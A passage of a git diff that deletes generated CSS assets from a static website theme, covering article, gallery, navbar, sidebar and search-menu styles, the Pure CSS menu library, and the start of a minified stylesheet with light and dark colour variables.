linear infinite; - margin: auto; } - -@keyframes spin { - 0% { - transform: rotate(0deg); } - 100% { - transform: rotate(360deg); } } - -article { - line-height: 1.7; - width: 100%; } - article > *:first-child { - margin-top: 0; } - article > *:last-child { - margin-bottom: 0; } - article hr { - margin-top: 2rem; - margin-bottom: 2rem; } - article p { - overflow-wrap: break-word; } - article li { - list-style-type: disc; - margin-top: .5rem; - margin-bottom: .5rem; } - article li p { - margin-top: 0; - margin-bottom: 0; } - article ul, article ol { - margin-top: 1rem; - margin-bottom: 1rem; - padding-left: 1.3rem; } - article ol li { - list-style-type: decimal; } - article ul, article ol { - margin-top: .5rem; - margin-bottom: .5rem; } - article ul li:first-child, article ol li:first-child { - margin-top: 0; } - article ul li:last-child, article ol li:last-child { - margin-bottom: 0; } - article blockquote { - padding-left: 1rem; - padding-right: 1rem; - margin-top: 1rem; - margin-bottom: 1rem; - margin-left: 0; - margin-right: 0; - border-left: 2px solid var(--color-border); } - article blockquote p:first-child { - margin-top: 0; } - article blockquote p:last-child { - margin-bottom: 0; } - article blockquote blockquote { - margin-top: 0; - margin-bottom: 0; } - article code { - /* Inline code style */ - border-radius: .25rem; - padding: .2rem .375rem .2rem .375rem; - background-color: var(--color-background-inline-code); } - article pre { - margin-top: 1rem; - margin-bottom: 1rem; - padding: 1rem; - overflow-x: auto; - border-radius: .5rem; - background-color: #272822; - color: #f7f7f7; } - article pre code { - /* Disable inline code style */ - display: inherit; - border-radius: 0; - padding: 0; - background-color: transparent; } - article pre.mc-prism.hide code { - /* Smooth transition for prism.js */ - opacity: 0; } - article pre.mc-prism code { - /* Smooth transition for prism.js */ - opacity: 1; - transition: opacity 0.1s ease-in; } - article .code-toolbar .toolbar-item { - margin-left: 0.25rem; - margin-right: 0.25rem; } - article .highlight { - margin-top: 1rem; - margin-bottom: 1rem; - position: relative; } - article .highlight .code-toolbar { - padding: 0; } - article .highlight .code-toolbar pre { - padding: 1rem; - border-radius: 0.375rem; } - article .highlight > div, - article .highlight > pre { - padding: 0.75rem; - border-radius: 0.375rem; - overflow-x: auto; } - article .highlight > div pre, - article .highlight > pre pre { - padding: 0; - margin: 0; - border-radius: 0; } - article .highlight > div pre code, - article .highlight > pre pre code { - /* Disable inline code style */ - border-radius: 0; - padding: 0; - background-color: transparent; } - article .copy-code-button { - font-size: 0.75rem; - /* 12px */ - line-height: 1rem; - /* 16px */ - position: absolute; - right: 0; - height: 1.5rem; - top: -1.5rem; - padding-left: 0.375rem; - padding-right: 0.375rem; - border-radius: .25rem; - cursor: pointer; - background-color: transparent; - display: flex; - align-items: center; } - article .copy-code-button:hover { - background-color: var(--color-background-hover); } - article table.mc-table { - margin-top: 1rem; - margin-bottom: 1rem; - table-layout: auto; - border-collapse: collapse; - display: block; - overflow-x: auto; } - article table.mc-table td, article table.mc-table th { - padding-left: .75rem; - padding-right: .75rem; - padding-top: .5rem; - padding-bottom: .5rem; - border: 1px solid var(--color-border); } - article figure { - margin-top: 1rem; - margin-bottom: 1rem; - text-align: center; } - article figure figcaption { - margin-top: .5rem; - margin-bottom: .5rem; } - article img { - margin-left: auto; - margin-right: auto; - display: block; } - article .header-anchor-link { - display: none; - color: var(--color-text); } - article .header-anchor-wrapper:hover .header-anchor-link { - display: inline; } - -html[data-theme='dark'] .twitter-tweet { - color: var(--color-text); } - html[data-theme='dark'] .twitter-tweet a { - color: var(--color-link); } - -.bookcase-layout { - display: grid; - gap: 1rem; - grid-template-columns: repeat(auto-fill, 8rem); } - .bookcase-layout .bookcase-item figure { - position: relative; - margin: 0; } - .bookcase-layout .bookcase-item figcaption { - font-size: 0.875rem; - /* 14px */ - line-height: 1.25rem; - /* 20px */ - text-align: center; - margin-top: .7rem; } - .bookcase-layout .bookcase-item figcaption a { - color: var(--color-text); } - .bookcase-layout .bookcase-item img, .bookcase-layout .bookcase-item .bookcase-item-overlay { - width: 8rem; - height: 12rem; - border-radius: 0.375rem; - object-fit: cover; } - .bookcase-layout .bookcase-item .bookcase-item-overlay { - position: absolute; - top: 0; - left: 0; - background-color: transparent; - opacity: 0.25; } - .bookcase-layout .bookcase-item .bookcase-item-overlay:hover { - background-color: var(--color-background-overlay); } - -html[data-theme="light"] .bookcase-item-img-dark { - display: none; } - -html[data-theme="light"] .bookcase-item img, html[data-theme="light"] .bookcase-item .bookcase-item-overlay { - box-shadow: 0 0 10px -1px rgba(0, 0, 0, 0.1); } - -html[data-theme="dark"] .bookcase-item-img-light { - display: none; } - -html[data-theme="dark"] .bookcase-item img, html[data-theme="dark"] .bookcase-item .bookcase-item-overlay { - box-shadow: 0 0 3px 0px rgba(135, 135, 135, 0.2); } - -@media screen and (min-width: 48rem) { - .gallery-layout figure { - margin-left: -1.25rem; - margin-right: -1.25rem; } } - -.gallery-layout figure img { - margin-left: auto; - margin-right: auto; - display: block; } - -.gallery-layout figcaption { - margin-top: .5rem; - margin-bottom: .5rem; - font-size: 0.75rem; - /* 12px */ - line-height: 1rem; - /* 16px */ - font-style: italic; - text-align: center; } - -.gallery-layout .gallery-item { - margin-bottom: 4rem; } - -.gallery-layout .gallery-item-title { - margin: 1rem 0; } - .gallery-layout .gallery-item-title a { - color: var(--color-text); - border-bottom: 2px solid var(--color-border); } - .gallery-layout .gallery-item-title a:hover { - border-bottom-color: var(--color-text-secondary); } - .gallery-layout .gallery-item-title span { - font-size: 1.5rem; - /* 24px */ - line-height: 2rem; - /* 32px */ - font-weight: 700; } - -.gallery-layout .gallery-item-content { - margin-top: 1rem; - margin-bottom: 1rem; } - -.gallery-layout .gallery-item-statistic { - display: grid; - gap: 0.5rem; - grid-template-columns: max-content 1fr; } - -.balloon-layout .balloon-card-item, .balloon-layout .balloon-title-item, .balloon-layout .balloon-head-item { - display: flex; - flex-direction: column; } - @media screen and (min-width: 48rem) { - .balloon-layout .balloon-card-item, .balloon-layout .balloon-title-item, .balloon-layout .balloon-head-item { - flex-direction: row; } } -.balloon-layout .balloon-card-item .balloon-card-item-line, .balloon-layout .balloon-title-item .balloon-title-item-line, .balloon-layout .balloon-head-item .balloon-head-item-desktop { - width: 7rem; - display: flex; - flex-direction: column; - position: relative; - align-items: center; } - @media screen and (max-width: 48rem) { - .balloon-layout .balloon-card-item .balloon-card-item-line, .balloon-layout .balloon-title-item .balloon-title-item-line, .balloon-layout .balloon-head-item .balloon-head-item-desktop { - display: none; } } -.balloon-layout .balloon-card-item .balloon-card-item-content, .balloon-layout .balloon-title-item .balloon-title-item-content, .balloon-layout .balloon-head-item .balloon-head-item-content { - display: flex; - flex: 1 1 0%; - margin-left: -12px; } - @media screen and (max-width: 48rem) { - .balloon-layout .balloon-card-item .balloon-card-item-content, .balloon-layout .balloon-title-item .balloon-title-item-content, .balloon-layout .balloon-head-item .balloon-head-item-content { - margin-left: 0; } } -@media screen and (min-width: 48rem) { - .balloon-layout { - margin-left: -1.75rem; } } - -.balloon-layout .balloon-head-item { - width: 100%; - gap: 20px; } - .balloon-layout .balloon-head-item .balloon-head-item-mobile { - width: 100%; - justify-content: center; } - @media screen and (min-width: 48rem) { - .balloon-layout .balloon-head-item .balloon-head-item-mobile { - display: none; } } - .balloon-layout .balloon-head-item .balloon-head-item-img-light, .balloon-layout .balloon-head-item .balloon-head-item-img-dark { - display: flex; - justify-content: center; } - .balloon-layout .balloon-head-item .balloon-head-item-img img { - width: 6rem; - height: 6rem; } - .balloon-layout .balloon-head-item .balloon-head-item-img .rounded { - border-radius: 9999px; } - .balloon-layout .balloon-head-item .balloon-head-item-content { - margin: 0; - align-items: center; } - @media screen and (max-width: 48rem) { - .balloon-layout .balloon-head-item .balloon-head-item-content { - justify-content: center; - text-align: center; } } -@media screen and (max-width: 48rem) { - .balloon-layout .balloon-title-item .balloon-title-item-content { - justify-content: center; - text-align: center; } } - -.balloon-layout .balloon-card-item .balloon-card-item-content { - font-size: 0.875rem; - /* 14px */ - line-height: 1.25rem; - /* 20px */ - overflow: auto; - border-radius: 0.375rem; - box-shadow: 0 4px 6px -1px rgba(0, 0, 0, 0.1), 0 2px 4px -1px rgba(0, 0, 0, 0.06); - background-color: var(--color-background-card); - padding: 1rem 1.2rem; } - -.balloon-layout .balloon-dot { - width: .8rem; - height: .8rem; - border-radius: 1rem; - margin: 0.25rem 0; - border: 2px solid var(--color-text); } - -.balloon-layout .balloon-line-container { - display: flex; - flex: 1 1 0%; - justify-content: center; } - .balloon-layout .balloon-line-container .balloon-line { - background-color: var(--color-text); } - -html[data-theme="dark"] .balloon-head-item .balloon-head-item-img-light { - display: none; } - -html[data-theme="light"] .balloon-head-item .balloon-head-item-img-dark { - display: none; } - -ul.list-layout { - list-style: none; - padding: 0; } - ul.list-layout li { - margin-bottom: .5rem; - line-height: 1.625; - display: list-item; - list-style-type: none; } - ul.list-layout li a { - color: var(--color-text); - border-bottom: 2px solid var(--color-border); - line-height: 1.7rem; } - ul.list-layout li a:hover { - border-bottom-color: var(--color-text-secondary); } - ul.list-layout li span { - font-size: 0.75rem; - /* 12px */ - line-height: 1rem; - /* 16px */ - color: var(--color-text-secondary); } - -.postcard-layout a { - color: var(--color-text); } - -.postcard-layout .postcard-item { - padding: 1rem; - background-color: var(--color-background-card); - border-radius: .375rem; - margin: 2rem 0; - box-shadow: 0 4px 6px -1px rgba(0, 0, 0, 0.1), 0 2px 4px -1px rgba(0, 0, 0, 0.06); } - .postcard-layout .postcard-item:hover { - background-color: var(--color-background-hover); } - .postcard-layout .postcard-item .postcard-title { - font-size: 1.25rem; - /* 20px */ - line-height: 1.75rem; - /* 28px */ - font-weight: 500; } - .postcard-layout .postcard-item .postcard-summary { - font-size: 0.75rem; - /* 12px */ - line-height: 1rem; - /* 16px */ - color: var(--color-text-secondary); - overflow: hidden; - white-space: nowrap; - text-overflow: ellipsis; - margin: .5rem 0; } - .postcard-layout .postcard-item .postcard-metadata { - font-size: 0.75rem; - /* 12px */ - line-height: 1rem; - /* 16px */ - color: var(--color-text-secondary); } - -.term-title { - display: flex; - align-items: center; - gap: 8px; - margin: 2rem 0; } - .term-title h1 { - margin: 0; } - -html[data-theme="dark"] #dark_mode_btn { - display: none; } - -html[data-theme="light"] #light_mode_btn { - display: none; } - -header { - display: flex; - justify-content: space-between; - align-items: center; - margin: 1rem 0; } - header #header_left { - display: flex; - justify-content: space-between; - align-items: center; } - header #header_left .brand { - display: flex; - align-items: center; } - header #header_left .brand a { - font-size: 1.5rem; - /* 24px */ - line-height: 2rem; - /* 32px */ - font-weight: 700; - color: var(--color-text); } - header #header_left #sidebar_btn { - margin-right: 0.5rem; } - header #header_left #sidebar_btn #sidebar_btn_label { - display: flex; } - @media screen and (min-width: 48rem) { - header #header_left #sidebar_btn { - display: none; } } - header .toolbox { - display: flex; - align-items: center; - column-gap: 0.5rem; } - header .toolbox .toolbox-btn { - display: flex; - cursor: pointer; } - header .toolbox .toolbox-btn:hover { - color: var(--color-text-secondary); } - header .toolbox .dropdown-wrapper .dropdown-btn.pure-menu-link { - color: unset; } - header .toolbox .dropdown-wrapper .dropdown-btn { - display: flex; - align-items: center; - padding: 0; } - header .toolbox .dropdown-wrapper .dropdown-btn:hover { - background-color: unset; } - header .toolbox .dropdown-wrapper .dropdown-btn::after { - content: ""; - padding: 0; } - header .toolbox .dropdown-wrapper .dropdown-btn .dropdown-desc { - font-size: 0.875rem; - /* 14px */ - line-height: 1.25rem; - /* 20px */ - margin-left: 0.35rem; } - header .toolbox #translation_tool .dropdown-btn .dropdown-desc { - display: none; } - @media screen and (min-width: 48rem) { - header .toolbox #translation_tool .dropdown-btn .dropdown-desc { - display: block; } } - header .toolbox #translation_tool .pure-menu-children { - left: auto; - right: 0; } - -footer { - margin-top: 1rem; - margin-bottom: 1rem; - font-size: 0.75rem; - /* 12px */ - line-height: 1rem; - /* 16px */ - text-align: center; - color: var(--color-text-footer); } - -/*! -Pure v2.1.0 -Copyright 2013 Yahoo! -Licensed under the BSD License. -https://github.com/pure-css/pure/blob/master/LICENSE -*/ -/*csslint adjoining-classes: false, box-model:false*/ -.pure-menu { - -webkit-box-sizing: border-box; - box-sizing: border-box; } - -.pure-menu-fixed { - position: fixed; - left: 0; - top: 0; - z-index: 3; } - -.pure-menu-list, .pure-menu-item { - position: relative; } - -.pure-menu-list { - list-style: none; - margin: 0; - padding: 0; } - -.pure-menu-item { - padding: 0; - margin: 0; - height: 100%; - font-size: 0.875rem; - /* 14px */ - line-height: 1.25rem; - /* 20px */ } - -.pure-menu-link, .pure-menu-heading { - display: block; - text-decoration: none; - white-space: nowrap; } - -/* HORIZONTAL MENU */ -.pure-menu-horizontal { - width: 100%; - white-space: nowrap; } - .pure-menu-horizontal .pure-menu-list { - display: inline-block; } - .pure-menu-horizontal .pure-menu-item, .pure-menu-horizontal .pure-menu-heading, .pure-menu-horizontal .pure-menu-separator { - display: inline-block; - vertical-align: middle; } - -/* Initial menus should be inline-block so that they are horizontal */ -/* Submenus should still be display: block; */ -.pure-menu-item .pure-menu-item { - display: block; } - -.pure-menu-children { - display: none; - position: absolute; - left: 100%; - top: 0; - margin: 0; - padding: 0; - z-index: 3; - box-shadow: 0 20px 25px -5px rgba(0, 0, 0, 0.1), 0 10px 10px -5px rgba(0, 0, 0, 0.04); } - -.pure-menu-horizontal .pure-menu-children { - left: 0; - top: auto; - width: inherit; } - -.pure-menu-allow-hover:hover > .pure-menu-children, .pure-menu-active > .pure-menu-children { - display: block; - position: absolute; } - -/* Vertical Menus - show the dropdown arrow */ -.pure-menu-has-children > .pure-menu-link:after { - padding-left: 0.35rem; - font-family: sans-serif; - content: "▸"; } - -/* Horizontal Menus - show the dropdown arrow */ -.pure-menu-horizontal .pure-menu-has-children > .pure-menu-link:after { - font-family: sans-serif; - content: "▾"; } - -/* scrollable menus */ -.pure-menu-scrollable { - overflow-y: scroll; - overflow-x: hidden; } - .pure-menu-scrollable .pure-menu-list { - display: block; } - -.pure-menu-horizontal.pure-menu-scrollable { - white-space: nowrap; - overflow-y: hidden; - overflow-x: auto; - /* a little extra padding for this style to allow for scrollbars */ - padding: .5em 0; } - .pure-menu-horizontal.pure-menu-scrollable .pure-menu-list { - display: inline-block; } - -/* misc default styling */ -.pure-menu-separator { - background-color: #ccc; - height: 1px; - margin: .3em 0; } - -.pure-menu-horizontal .pure-menu-children .pure-menu-separator { - background-color: #ccc; - height: 1px; - margin: .3em 0; } - -.pure-menu-horizontal .pure-menu-separator { - width: 1px; - height: 1.3em; - margin: 0 0.3em; } - -.pure-menu-horizontal .pure-menu-children .pure-menu-separator { - display: block; - width: auto; } - -/* Need to reset the separator since submenu is vertical */ -.pure-menu-heading { - text-transform: uppercase; - color: var(--color-text); } - -.pure-menu-link { - color: var(--color-text); - font-size: 0.875rem; - /* 14px */ - line-height: 1.25rem; - /* 20px */ } - -.pure-menu-children { - background-color: var(--color-background); } - -.pure-menu-link, .pure-menu-heading { - padding: .5rem; } - -.pure-menu-disabled { - opacity: .5; } - .pure-menu-disabled .pure-menu-link:hover { - background-color: transparent; - cursor: default; } - -.pure-menu-active > .pure-menu-link { - background-color: var(--color-background-hover); } - -.pure-menu-link:hover, .pure-menu-link:focus { - background-color: var(--color-background-hover); } - -.pure-menu-selected > .pure-menu-link { - color: var(--color-navbar-item-active); } - .pure-menu-selected > .pure-menu-link:visited { - color: var(--color-navbar-item-active); } - -#navbar { - margin: 1rem 0; } - @media screen and (max-width: 48rem) { - #navbar { - display: none; } } - #navbar > ul.pure-menu-list { - display: flex; } - #navbar > ul.pure-menu-list .navbar-dropdown > a.pure-menu-link:after { - content: "▾"; } - #navbar > ul.pure-menu-list .navbar-dropdown > ul.pure-menu-children { - left: 0; - top: 27px; - width: inherit; } - #navbar > ul.pure-menu-list .navbar-item { - margin: 0 .5rem 0 0; - border-bottom: 2px solid transparent; } - #navbar > ul.pure-menu-list .navbar-item > a.pure-menu-link { - font-weight: 500; - padding: 0 0 .3rem 0; - color: var(--color-navbar-item-inactive); } - #navbar > ul.pure-menu-list .navbar-item > a.pure-menu-link:hover { - background-color: transparent; } - #navbar > ul.pure-menu-list .navbar-item:hover { - border-bottom-color: var(--color-navbar-item-active); } - #navbar > ul.pure-menu-list .navbar-item:hover > a { - color: var(--color-navbar-item-active); } - #navbar > ul.pure-menu-list .navbar-item.active { - border-bottom-color: var(--color-navbar-item-active); } - #navbar > ul.pure-menu-list .navbar-item.active > a { - color: var(--color-navbar-item-active); } - #navbar > ul.pure-menu-list .navbar-item.insection { - border-bottom-color: var(--color-navbar-item-in-section); } - #navbar > ul.pure-menu-list .navbar-item.insection > a { - color: var(--color-navbar-item-in-section); } - -#TableOfContents { - line-height: 1.5rem; } - #TableOfContents ul, #TableOfContents li { - list-style: none; - padding-left: 0; - margin: 0; } - #TableOfContents ul ul { - margin-left: .5rem; } - #TableOfContents li { - margin-top: .375rem; } - #TableOfContents a { - color: var(--color-text); } - -article#collapsible_menu_changelogs { - line-height: 1.75rem; - display: grid; - gap: .5rem; - grid-template-columns: max-content 1fr; - margin-top: .5rem; } - -.collapsible-menu-wrapper { - margin-top: 2rem; - margin-bottom: 2rem; - font-size: 0.875rem; - padding: 1rem; - border: 2px solid var(--color-border-collapsible-menu); - border-radius: .25rem; } - .collapsible-menu-wrapper .collapsible-menu-type span { - font-weight: 700; - line-height: 1.5rem; } - .collapsible-menu-wrapper summary.collapsible-menu-type span { - margin-left: .3rem; } - .collapsible-menu-wrapper .collapsible-menu { - margin-left: .5rem; } - -.emgithub-container { - margin-top: 1.5rem; - margin-bottom: 1.5rem; } - .emgithub-container .emgithub-code { - display: flex; - flex-direction: column; - justify-content: center; } - .emgithub-container .emgithub-code .emgithub-loading { - margin-left: auto; - margin-right: auto; - margin-top: 1rem; - margin-bottom: 1rem; - z-index: 10; - position: absolute; - left: 0; - right: 0; - width: 2rem; } - .emgithub-container .emgithub-code .emgithub-loading.hide { - display: none; } - .emgithub-container .emgithub-code .emgithub-loading svg { - width: 2rem; - height: 2rem; - animation: spin 1s linear infinite; - color: white; - fill: #969696; } - -@keyframes spin { - from { - transform: rotate(0deg); } - to { - transform: rotate(360deg); } } - .emgithub-container .emgithub-code .emgithub-pre { - margin-top: 0; - margin-bottom: 0; - border-bottom-right-radius: 0px; - border-bottom-left-radius: 0px; } - .emgithub-container .emgithub-code .emgithub-pre.loading { - min-height: 5rem; } - .emgithub-container .emgithub-code .emgithub-pre code { - tab-size: inherit; } - .emgithub-container .emgithub-toolbar { - font-size: 0.75rem; - /* 12px */ - line-height: 1rem; - /* 16px */ - display: flex; - flex-direction: row; - justify-content: space-between; - padding: 0.75rem 0.75rem 0.625rem 0.75rem; - border-bottom-right-radius: 0.375rem; - border-bottom-left-radius: 0.375rem; - background-color: #171717; } - .emgithub-container .emgithub-toolbar a { - font-weight: 600; - color: white; - border: 0; } - -.term-item { - color: var(--color-text); - border-bottom: 2px solid var(--color-border); - margin-right: 0.375rem; - text-wrap: nowrap; } - .term-item:hover { - border-bottom-color: var(--color-text-secondary); } - -.icon { - display: inline-block; - width: 1.5rem; - height: 1.5rem; } - .icon a { - color: var(--color-text); } - .icon a:hover { - color: var(--color-text-secondary); } - -.breadcrumbs { - font-weight: 700; - list-style-type: none; - padding: 0; - margin: 0; } - .breadcrumbs a { - color: var(--color-text); - border-bottom: 2px solid transparent; } - .breadcrumbs a:hover { - border-bottom-color: var(--color-text-secondary); } - .breadcrumbs li { - display: inline; - margin-right: 0.25rem; } - -.color-block { - border-radius: 0.25rem; - padding: 0.75rem; } - -.icon-group { - margin-top: 1rem; - margin-bottom: 1rem; - display: inline-grid; - grid-auto-flow: column; - gap: 0.375rem; } - -#search_menu_wrapper { - display: flex; - justify-content: center; - position: fixed; - top: 0; - left: 0; - width: 100%; - height: 100%; - z-index: 40; - background-color: rgba(0, 0, 0, 0.75); } - #search_menu_wrapper #search_menu { - position: fixed; - display: flex; - flex-direction: column; - width: 100%; - height: 100%; - border-radius: 0; - background-color: var(--color-background); } - @media screen and (min-width: 35.5rem) { - #search_menu_wrapper #search_menu { - height: auto; - top: 6rem; - bottom: 6rem; - width: 30rem; - z-index: 50; - border-radius: 0.375rem; } } - #search_menu_wrapper #search_menu #search_menu_toolbar { - display: flex; - min-height: 2.5rem; - box-shadow: 0 4px 6px -1px rgba(0, 0, 0, 0.1), 0 2px 4px -1px rgba(0, 0, 0, 0.06); } - #search_menu_wrapper #search_menu #search_menu_toolbar #search_menu_input_wrapper { - display: flex; - flex-grow: 1; } - #search_menu_wrapper #search_menu #search_menu_toolbar #search_menu_input_wrapper input { - padding-left: 1rem; - padding-right: 1rem; - flex-grow: 1; - border-top-left-radius: 0.375rem; } - #search_menu_wrapper #search_menu #search_menu_toolbar #search_menu_input_wrapper input:focus { - outline: 2px solid transparent; - outline-offset: 2px; } - #search_menu_wrapper #search_menu #search_menu_toolbar #search_menu_close_btn { - display: flex; - align-items: center; - justify-content: center; - width: 2.5rem; - border-top-right-radius: 0.375rem; - cursor: pointer; } - #search_menu_wrapper #search_menu #search_menu_toolbar #search_menu_close_btn:hover { - background-color: var(--color-background-overlay); } - #search_menu_wrapper #search_menu #search_menu_results { - flex-grow: 1; - overflow-y: auto; } - #search_menu_wrapper #search_menu #search_menu_results .search-menu-result-item { - padding-left: 1rem; - padding-right: 1rem; - padding-top: 0.875rem; - padding-bottom: 0.875rem; - min-height: 2.5rem; } - #search_menu_wrapper #search_menu #search_menu_results .search-menu-result-item:hover { - background-color: var(--color-background-overlay); } - #search_menu_wrapper #search_menu #search_menu_results .search-menu-result-item .search-menu-result-item-title { - font-weight: 700; - line-height: 1.7rem; - color: var(--color-text); } - #search_menu_wrapper #search_menu #search_menu_results .search-menu-result-item .search-menu-result-item-content { - font-size: 0.75rem; - /* 12px */ - line-height: 1rem; - /* 16px */ - color: var(--color-text-secondary); } - -#sidebar_btn_input:checked ~ #sidebar_canvas_overlay_wrapper #sidebar_canvas_overlay { - display: block; } - -#sidebar_canvas_overlay { - background-color: rgba(0, 0, 0, 0.75); - position: fixed; - top: 0; - left: 0; - width: 100%; - height: 100%; - z-index: 10; - display: none; } - -#sidebar { - position: fixed; - top: 0; - left: 0; - height: 100%; - z-index: 20; - background-color: var(--color-background); - box-shadow: 0 4px 6px -1px rgba(0, 0, 0, 0.1), 0 2px 4px -1px rgba(0, 0, 0, 0.06); - transition: transform 0.2s; - transform: translateX(-100%); - overflow-y: auto; - width: 60%; } - @media screen and (min-width: 35.5rem) { - #sidebar { - width: 40%; } } - #sidebar ul { - list-style: none; - padding-left: 0; - margin: 0; } - #sidebar li { - margin: 1.2rem; } - #sidebar a { - color: var(--color-text); } - -#sidebar_btn_input:checked ~ #sidebar { - display: block; - transform: translateX(0); } - -.pagination { - padding: 0; - margin: 0; - list-style: none; } - .pagination li { - display: inline; - margin: 0 .1rem; } - .pagination a, .pagination span { - color: var(--color-text-secondary); } - .pagination li.active a { - font-weight: 600; - color: var(--color-text); } - .pagination li:not(.disabled) a:hover { - color: var(--color-text); } - .pagination li:not(.disabled) a:hover span { - color: inherit; } - .pagination .disabled { - cursor: not-allowed; } - -.postcard-layout .pagination { - text-align: center; } - -/*# sourceMappingURL=style.css.map */ \ No newline at end of file diff --git a/resources/_gen/assets/scss/core.scss_360d2f7675479a85d2c2e14a08a38b02.json b/resources/_gen/assets/scss/core.scss_360d2f7675479a85d2c2e14a08a38b02.json deleted file mode 100644 index 8d03ad76..00000000 --- a/resources/_gen/assets/scss/core.scss_360d2f7675479a85d2c2e14a08a38b02.json +++ /dev/null @@ -1 +0,0 @@ -{"Target":"style.css","MediaType":"text/css","Data":{}} \ No newline at end of file diff --git a/resources/_gen/assets/scss/core.scss_ee68883998b31f131947639d79f7b4b2.content b/resources/_gen/assets/scss/core.scss_ee68883998b31f131947639d79f7b4b2.content deleted file mode 100644 index 1f50ebb4..00000000 --- a/resources/_gen/assets/scss/core.scss_ee68883998b31f131947639d79f7b4b2.content +++ /dev/null @@ -1,4 +0,0 @@ -html{line-height:1.15;-webkit-text-size-adjust:100%}body{margin:0}main{display:block}h1{font-size:2em;margin:.67em 0}hr{-webkit-box-sizing:content-box;box-sizing:content-box;height:0;overflow:visible}pre{font-family:monospace,monospace;font-size:1em}a{background-color:transparent}abbr[title]{border-bottom:none;text-decoration:underline;-webkit-text-decoration:underline dotted;text-decoration:underline dotted}b,strong{font-weight:bolder}code,kbd,samp{font-family:monospace,monospace;font-size:1em}small{font-size:80%}sub,sup{font-size:75%;line-height:0;position:relative;vertical-align:baseline}sub{bottom:-.25em}sup{top:-.5em}img{border-style:none}button,input,optgroup,select,textarea{font-family:inherit;font-size:100%;line-height:1.15;margin:0}button,input{overflow:visible}button,select{text-transform:none}button,[type=button],[type=reset],[type=submit]{-webkit-appearance:button}button::-moz-focus-inner,[type=button]::-moz-focus-inner,[type=reset]::-moz-focus-inner,[type=submit]::-moz-focus-inner{border-style:none;padding:0}button:-moz-focusring,[type=button]:-moz-focusring,[type=reset]:-moz-focusring,[type=submit]:-moz-focusring{outline:1px dotted ButtonText}fieldset{padding:.35em .75em .625em}legend{-webkit-box-sizing:border-box;box-sizing:border-box;color:inherit;display:table;max-width:100%;padding:0;white-space:normal}progress{vertical-align:baseline}textarea{overflow:auto}[type=checkbox],[type=radio]{-webkit-box-sizing:border-box;box-sizing:border-box;padding:0}[type=number]::-webkit-inner-spin-button,[type=number]::-webkit-outer-spin-button{height:auto}[type=search]{-webkit-appearance:textfield;outline-offset:-2px}[type=search]::-webkit-search-decoration{-webkit-appearance:none}::-webkit-file-upload-button{-webkit-appearance:button;font:inherit}details{display:block}summary{display:list-item}template,[hidden]{display:none}html{font-family:sans-serif}.hidden,[hidden]{display:none!important}.pure-img{max-width:100%;height:auto;display:block}html[data-theme=light]{--color-text:#171717;--color-text-secondary:#737373;--color-text-footer:#737373;--color-text-mark:#171717;--color-border:#d4d4d4;--color-border-collapsible-menu:#e5e5e5;--color-background:#fff;--color-background-hover:#f7f7f7;--color-background-overlay:#ededed;--color-background-inline-code:#f5f5f5;--color-background-card:#fff;--color-background-mark:#ffd70e;--color-link:#2563eb;--color-navbar-item-inactive:#a3a3a3;--color-navbar-item-active:#171717;--color-navbar-item-in-section:#525252}html[data-theme=dark]{--color-text:#ededed;--color-text-secondary:#8b8b8b;--color-text-footer:#a3a3a3;--color-text-mark:#171717;--color-border:#737373;--color-border-collapsible-menu:#636363;--color-background:#333;--color-background-hover:#525252;--color-background-overlay:#404040;--color-background-inline-code:#525252;--color-background-card:#404040;--color-background-mark:#ffd70e;--color-link:#93c5fd;--color-navbar-item-inactive:#a3a3a3;--color-navbar-item-active:#f5f5f5;--color-navbar-item-in-section:#ddd}html{color:var(--color-text);background:var(--color-background);font-size:16px}a{color:var(--color-link);text-decoration:none}html,button,input,select,textarea,.pure-g [class*=pure-u]{font-family:system-ui,-apple-system,segoe ui,Roboto,Helvetica,Arial,sans-serif,apple color emoji,segoe ui emoji}code,kbd,pre{font-family:ui-monospace,SFMono-Regular,Menlo,Monaco,Consolas,liberation mono,courier new,monospace}body{margin-left:auto;margin-right:auto;padding:1.5rem}h1,h2,h3,h4,h5,h6{font-weight:700;margin-top:2rem;margin-bottom:1rem}h1{font-size:1.5rem;line-height:2rem}h2{font-size:1.375rem;line-height:1.875rem}h3{font-size:1.25rem;line-height:1.75rem}h4{font-size:1.125rem;line-height:1.75rem}h5{font-size:1rem;line-height:1.5rem}h6{font-size:.875rem;line-height:1.25rem}figure{margin:0}img{max-width:100%;border-radius:3px}input{background-color:var(--color-background);color:var(--color-text);border:none}mark{background-color:var(--color-background-mark);color:var(--color-text-mark)}details>summary{cursor:pointer}details[open]>summary{cursor:pointer}.content-margin{margin-top:2rem;margin-bottom:2rem}.hidden{display:none}@media screen and (min-width:35.5rem){body{width:100%}}@media screen and (min-width:48rem){body{width:80%}}@media screen and (min-width:64rem){body{width:55%}}@media screen and (min-width:80rem){body{width:55%}}@media screen and (min-width:120rem){body{width:55%}}@font-face{font-family:jetbrainsmononerd;src:url(/fonts/JetBrainsMonoNLNerdFont-Regular.ttf)format("truetype");font-weight:400;font-style:normal}h1,h2,h3,h4,h5,h6{font-family:jetbrainsmononerd,sans-serif}.badge{background-color:#9e8c6c;color:#fff;padding:5px 10px;border-radius:12px;font-size:.8em;font-weight:200;font-family:jetbrainsmononerd,sans-serif;display:inline-block;margin-right:5px;margin-top:5px}.date{padding-top:6px;font-family:jetbrainsmononerd,sans-serif;font-size:.8em}.icon_contacts{list-style:none;margin:0 10px}.members-list{display:flex;flex-wrap:wrap}.card-members{display:flex;width:calc(45% - 12px);margin:16px auto;max-height:24hv;max-width:56vh;border-radius:12px;background-color:#0000;border:#292929 dashed 4px}@media(max-width:1350px){.card-members{width:100%;margin:15px auto}.members-list{flex-direction:column;align-items:center}.div-text{margin-right:auto}}.content-container{width:100%;display:flex;margin:0,auto;justify-content:space-between}.div-img-members{padding:10px;margin:0;display:inline-block;min-width:30%;position:relative}.badge-image{position:absolute;top:14px;right:14px;width:25px;border-radius:50%}.name-members{margin:14px 0 0;width:100%;display:inline-block}.tag-members{display:inline-block;margin:0;padding:0;font-weight:700;text-decoration:underline}.div-text{width:100%;margin-right:auto}.div-img-members{display:inline-block}.tag-members:hover{color:#39e6ec;cursor:pointer}.tag-school{display:inline-block;margin:0;padding:4px;padding-left:0;opacity:.7}.categories-container{margin-left:auto;padding:8px;display:flex;flex-direction:column}.categories-members{padding:2px 8px;font-size:12px;display:inline-block;margin:10px auto 0 